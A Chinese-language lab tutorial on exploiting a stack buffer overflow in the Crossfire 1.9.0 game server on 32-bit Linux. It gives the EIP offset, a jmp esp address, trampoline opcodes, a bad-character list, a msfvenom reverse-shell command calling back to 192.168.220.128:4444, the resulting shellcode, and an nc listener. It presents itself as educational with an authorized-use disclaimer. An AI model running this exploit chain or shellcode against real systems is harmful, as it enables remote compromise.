Bootstrap

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

本篇文章旨在为缓冲区溢出软件漏洞学习。通过阅读本文,读者将能够对linux32位缓冲区溢漏洞有一定的了解

一、前言

1、申明

来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!

2、测试环境准备-系统

系统:Linux32位系统镜像

3、软件服务:穿越火线历史版本 crossfire 1.9.0

#软件下载地址
https://sourceforge.net/projects/crossfire/postdownload
tar -zxvf crossfire.tar.gz		#解压压缩包

cp -r crossfire /usr/games/ # 拷贝文件到系统目录
cd /usr/games/crossfire/bin # 进入游戏包的bin文件夹
./crossfire  # 运行游戏程序
ss -pantulo|grep crossfire   #检查游戏服务端口是否监听

4、调试工具:EDB

sudo apt update  # 更新软件库
edb  # 输入edb,系统会自动下载

5、检查系统防护机制(避免反弹shell失败)

apt install checksec #下载脚本工具 
checksec --file=/usr/games/crossfire/bin/crossfire # 检查程序

# 内核启动参数禁用NX
vim /etc/default/grub
GRUB_CMDLINE_LINUX="... noexec=off"
update-grub
reboot  

二、导入程序,验证漏洞

1、启动穿越火线程序

cd /usr/games/crossfire/bin
./crossfire

2、edb导入穿越火线程序进程

导入程序进程 打开edb,点击左上角file中的attack,导入crossfire进程

3、使用python exp01发送脏字符验证漏洞

python2 exp/exp01.py

三、计算EIP寄存器偏移量

一般这种情况,我们需要用到2分法来精准的测试出偏移量,也就是通过区间划分:例如我们的0-5000脏字符为例

python2 exp02.py

四、定位EIP寄存器偏移量位置

通过第三步,我们成功让EIP寄存器的地址被覆盖为41414141,但是在edb中显示不明显,都是414141比较难定位到,我们可以使用msf的一个模块生成不重复的4379个字符,目的是通过特定标识确定EIP的地址。

1、msf生成不重复的4379个字符

msf-pattern_create -l 4379

2、把新生成的不重复字符复制到exp脚本

3、执行exp03,查看结果

python2 exp03.py

4、使用msf推算偏移量

msf-pattern_offset -q 46367046

五、确定EIP地址

1、更精准的脏字符数据注入

我们通过第四步,测试出偏移量为:4368,那需要找EIP寄存器的精确地址,我们使用脚本4发送一段总字符数为4379数据:4368个A,4个B,7个C 这样除了A以外的脏字符就很容易找到了

python2 exp04.py

2、问题:esp不够空间构造payload

3、解决思路

我们利用ESP寄存器的7个字符的空间来进行操作,既然EAX寄存器的setup sound有可能影响playload执行,那我们选择在setup sound的前面进行。

(1)ESP寄存器中注入汇编指令:add eax,12 jmp eax。
python2 exp05.py

# 将汇编指令转化为十六进制
msf-nasm_shell
add eax,12
# add eax,12为83C00C,jmp eax为FFE0。
# 将指令写入脚本5中,替代原来C的位置

(2)找到能够存在jmp esp指令的程序中指令存在的位置。 先进入opcodesearcher模块


将脚本5的B的位置,即EIP位置替换成我们选中的08134596,要进行倒着写:eip = “\x96\x45\x13\x08”

六、测试坏字符

1、什么是坏字符

2、注入坏字符

# 所有16进制字符
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 

七、反弹shell

1、攻击机监听4444端口

nc -lvvp 4444 

2、msf生成实现反弹shell的代码

msfvenom -p linux/x86/shell_reverse_tcp LHOSt=192.168.220.128 LPORT=4444 -f c -b "\x00\x20" -f py

shellcode =  b""
shellcode += b"\xba\xc4\x25\x4c\xdf\xd9\xc5\xd9\x74\x24\xf4\x5b"
shellcode += b"\x29\xc9\xb1\x12\x83\xc3\x04\x31\x53\x0e\x03\x97"
shellcode += b"\x2b\xae\x2a\x26\xef\xd9\x36\x1b\x4c\x75\xd3\x99"
shellcode += b"\xdb\x98\x93\xfb\x16\xda\x47\x5a\x19\xe4\xaa\xdc"
shellcode += b"\x10\x62\xcc\xb4\x62\x3c\xf2\xc4\x0b\x3f\x0b\xd5"
shellcode += b"\x97\xb6\xea\x65\x41\x99\xbd\xd6\x3d\x1a\xb7\x39"
shellcode += b"\x8c\x9d\x95\xd1\x61\xb1\x6a\x49\x16\xe2\xa3\xeb"
shellcode += b"\x8f\x75\x58\xb9\x1c\x0f\x7e\x8d\xa8\xc2\x01"

3、执行exp07

python2 exp07.py

;